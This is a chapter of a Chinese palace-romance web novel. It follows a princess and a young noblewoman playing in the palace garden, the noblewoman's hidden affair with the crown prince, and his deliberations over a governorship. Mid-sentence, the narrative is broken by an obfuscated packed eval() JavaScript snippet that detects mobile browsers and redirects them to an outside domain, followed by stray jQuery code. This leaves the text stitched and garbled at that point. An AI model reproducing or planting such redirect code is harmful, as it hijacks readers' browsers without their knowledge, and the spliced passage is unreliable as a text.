敬和公主被沈婕妤拘着,好几日没跑出来找端宁玩了。
她上头有两个皇姐,具已出内廷下降,沈婕妤让她到宫外立府别住,敬和不愿意,她想留在宫里陪着母亲,虽然母亲总是拘着她,但母亲就她一个女儿,她走了,母亲在内廷连个说话的人都没有,她不忍心。
而且内廷里多了一个和她年纪差不多的端宁县主,她最喜欢找端宁玩了。以前上头两个皇姐嫌弃她母亲品阶低,嫌弃她总像个尾巴似的跟着,不爱搭理她。端宁就不一样了,端宁很和善,人很好,柳昭仪也很好,她过去就给她准备糕点。
“端宁,今儿天儿这么好,去御花园扑蝴蝶吧,沈娘娘给我做了两个蝴蝶的团扇,我给你一个!”
敬和把母亲给她做的绸绣花蝶团扇塞到令窈手里。敬和刚过及笄,人还十分贪玩,还像个孩子似的。
柳昭仪嘱咐二人别闹得太厉害,陛下还在病中,听到内廷欢声笑语的,难免落人话柄。这些敬和都知道的,母亲也叮嘱过她,拉着令窈的手,就欢欢喜喜跑出去了。
储秀宫到御花园没多远,宫娥内监们见到敬和公主和端宁县主驻足做礼,敬和摇着蒲扇,拉端宁去了一惯没人去的东苑,叫小宫娥守着,便撒了欢似的玩儿。
她和父皇并不亲厚,记忆中见到父皇的次数还不如母后殿下的多,父皇总是很忙,她的母亲日复一日地守在临窗窄榻上等着,殿门前的两个灯笼却少有亮起来。
敬和不觉得父皇卧病与自己有什么干系,她心里在想东宫三哥哥待他们这些弟弟妹妹也很好啊,父皇终老的那日,她或许会伤心,但不会特别的难过,她只是怕母亲伤心。
敬和一向会安慰自己,她也不敢玩得太欢,怕给母亲招惹麻烦,就拉着端宁躺在假山后的石椅上玩儿,小宫娥外面兢兢业业地把风。敬和拿摘来的话挠令窈脖子的痒痒,笑嘻嘻的,令窈也不坐以待毙,眼眸荡去一缕波光,把敬和制服在身下。
“好端宁,我错了不成嘛,好痒啊……哈哈哈哈……”
两人藏得隐蔽,敬和又怕被人听见,压抑着笑,可憋死她了。
敬和呆呆地望着眉眼如春的令窈愣了一下,把手里的芍药簪到令窈的鬓边,“端宁,你真好看。”
“好久没见你,你好像和以前又不一样了!”
令窈原本洋溢出的笑脸僵硬了一下,变得干巴巴的,她眼眸移开,又转回来,拿帕子捏敬和的脸蛋,“姨母也说我胖了!”
敬和疑惑地皱了下眉头,上上下下扫过令窈,很中肯地点了点头,“的确胖了。”
脸还是巴掌大的,就是好像——胸胖了点。
敬和脸一红,母亲说女儿家长大了,就会变丰腴的,想必端宁是长大了吧。
两个姑娘玩得累了,趴在六角亭的凭栏上有一搭没一搭地抬头看天。敬和瞧见令窈发鬓里有草,她伸手去摘,又见令窈对襟的扣子乱了,帮她系的时候,瞧见她脖颈隐隐约约好像有两道红痕,眼神疑惑。
“咦,端宁,你脖子是怎么!被小虫子咬了吗?”
令窈登时警铃大作,面上不动声色地把扣子系了,瘪嘴嗔恼,“是蚊子吵得我睡不好。”
敬和点了点头,深以为然。
端宁的春雪坞后院有一口井,种着一排排的花花草草,蚊子一定会多的,当初她就劝她不要住在春雪坞啦,太僻静了。
她又絮絮叨叨地劝令窈搬去储秀宫的东配殿住。令窈敷衍地点头,姨母也劝过她,她只道是想住的安静点,春雪坞有一道可以进出的角门,她害怕姨母发觉她和太子爷之间的关系。
……
敬和不能出来得太久,母亲叮嘱她在宫里要小心谨慎,出来这一回,不知道什么时候能再和端宁玩儿,敬和依依不舍,分别时眼圈还红了。
她现在反而希望父皇病好些,宫里不必日复一日的死气沉沉,父皇病的两年,内监宫娥们走路都要垂着头,放轻了声响。
令窈许久没这样痛痛快快地玩过了,她进姨母的朝露殿时,仔仔细细检查了自己有没有什么不妥的地方,幸而敬和还没出降,不然她真的害怕她看出什么。
快用夕食的时候,柳昭仪问令窈要吃什么,令窈没什么想吃的,姨母问她,她也不好不说,想了想,说想吃百合酥,柳昭仪点她眉心,说她贪嘴,夕食怎么能吃这些不正经的糕点,但仍是吩咐了秋月去尚食局。
内廷的百合酥做得甜而不腻,很好吃,柳昭仪怕她吃多了糕点对身子不好,约束着令窈,吃过四块就赏给了下面的小宫娥。
夕食后,两人在廊下走着消食,柳昭仪不大爱走动,溜达两圈就回寝房里躺着,边做绣篷,边和令窈说话,令窈就在旁边为她打扇,伺候的小宫娥们都退出去了,日子静悄悄的。
柳昭仪想到敬和公主也大了,沈婕妤早劝敬和出去立府,敬和却是有孝心,想陪沈婕妤几年,但眼见要择驸马,也过不了多少时日。
“姨母看,敬和看着爱玩爱闹,什么都不放在心上,也很明事理的。”
不然又怎会甘愿陪在沈婕妤身边这么久,十分有孝心。
令窈也喜欢敬和的性子,姨母是她长辈,唯有敬和像她的姊妹一样玩闹。如果能长不大就好了,像以前一样,她陪在姨母身边,敬和时常过来玩儿,她会去御花园采花露,也会遇到修剪花枝的太子爷,他与她有礼有节,从未逾矩。
……
储秀宫的一举一动都落在东宫的眼中。
姬长钰靠着官帽椅的椅背闭目休息,修长的手搭着椅沿儿,手背脉络清晰。崔净涣弓着身子就站在千岁爷旁边,一五一十地回禀端宁县主一日都做了什么。
这日端宁县主蛮高兴的,端宁县主和敬和公主很是交好,两人能玩到一块儿去。崔净涣安排的人不敢凑近去听,也一直给两位主子守着,以免让旁人听见。
崔净涣说完,就老老实实地垂着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051514|179043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑袋跟个木头似的立在那儿,一句话也不多说,也不多问。
他心里一直压着,想问千岁爷今晚用不用他去把端宁县主接过来,被他忍住了,他一定要憋着,可不能自作聪明,千岁爷想什么,哪是他一个奴婢能置喙的。
从十一皇子离开后,千岁爷的脸色如常,但他能感受到,千岁爷心情不大好,千岁爷不是能将情绪表现出来的人,身为储君,崔净涣不得不承认,内廷这几个爷,没人能做得比千岁爷更好。
二爷胜在年长,母家也很得力,但论起心性谋略,输千岁爷可不止一星半点,简直就是一个天上一个地下,就说这洁身自好,爱民如子,二爷封地府邸不止美姬无数,且搜刮民脂民膏,纵情享乐,民生怨望,弹劾的折子在内阁就堆得老高,千岁爷直接拿了二爷的金蟒牌子,将封地一诸民事交给了蕃台,二爷这才不敢折腾。说起这些,二爷完全比不上。
好一会儿,他见千岁爷起了身,在随意翻着博古架上摆的木简,没再提端宁县主,“让赵霖进来。”
崔净涣忍住一肚子疑惑,恭敬地退身离开。
赵霖进来后说起两江漕运的事,许阁老不知情,陈栎贪污掉的粮饷赃款,证据确凿,许阁老也辩白不了什么,陕甘总督换了人。
正逢两江总督邓延致仕,漕运衙门掌控水运命脉,而各地督抚执掌仓储,许正云虽把持漕运,若无地方粮仓配合亦是徒劳。郑克襄原为前任漕运总督旧部,然其秉性刚直,从不结党营私。此番新任两江总督的人选干系重大,甚至能左右朝中党争,若其心怀异志,则全盘谋划尽付东流。只是这人不好选,赵霖说了内阁拟订的几个可用之人,他又说了许正云钟意的人选。
姬长钰抿了抿唇,指骨叩了下长案,赵霖立即领会殿下的意思,忙过去奉茶,姬长钰摩挲着茶杯道:“林先生有钟意的人么?”
赵霖心底一悚,殿下怎的知晓,他来之前林先生和他通过气,定要力荐一人。
“殿下慧眼,林先生确实有钟意之人,只是那人资历不够,不在举荐的三人中。”
姬长钰掀起眼皮,“是何人?”
赵霖道:“殿下也见过的,此人名江笤,广平王岳人,原是元辰十年进士出身,为人很有才华,又不屑于攀权弄势,十分耿直,林先生以为可用。”
姬长钰思忖稍许,点了点头,“依照林先生所言,就用此人。”
赵霖抱拳应是。
……
天边抹上一层碎金,西沉的光透过桐油纸糊的窗棂照进来,姬长钰闭目靠着椅背,指骨微曲,一下一下轻敲椅柄,他在想两江漕运的事,个中不止涉及人选,还有朝中势力的制衡掣肘,都是要他必须深思熟虑过的。
太子闭目沉思,眉眼间的沉稳让人想起经年累月的古玉,深邃而从容。
西暖阁内静若无声,内侍进来为千岁爷换上新茶,垂首而入,始终屏住呼吸,轻手轻脚,不敢惊扰了主子。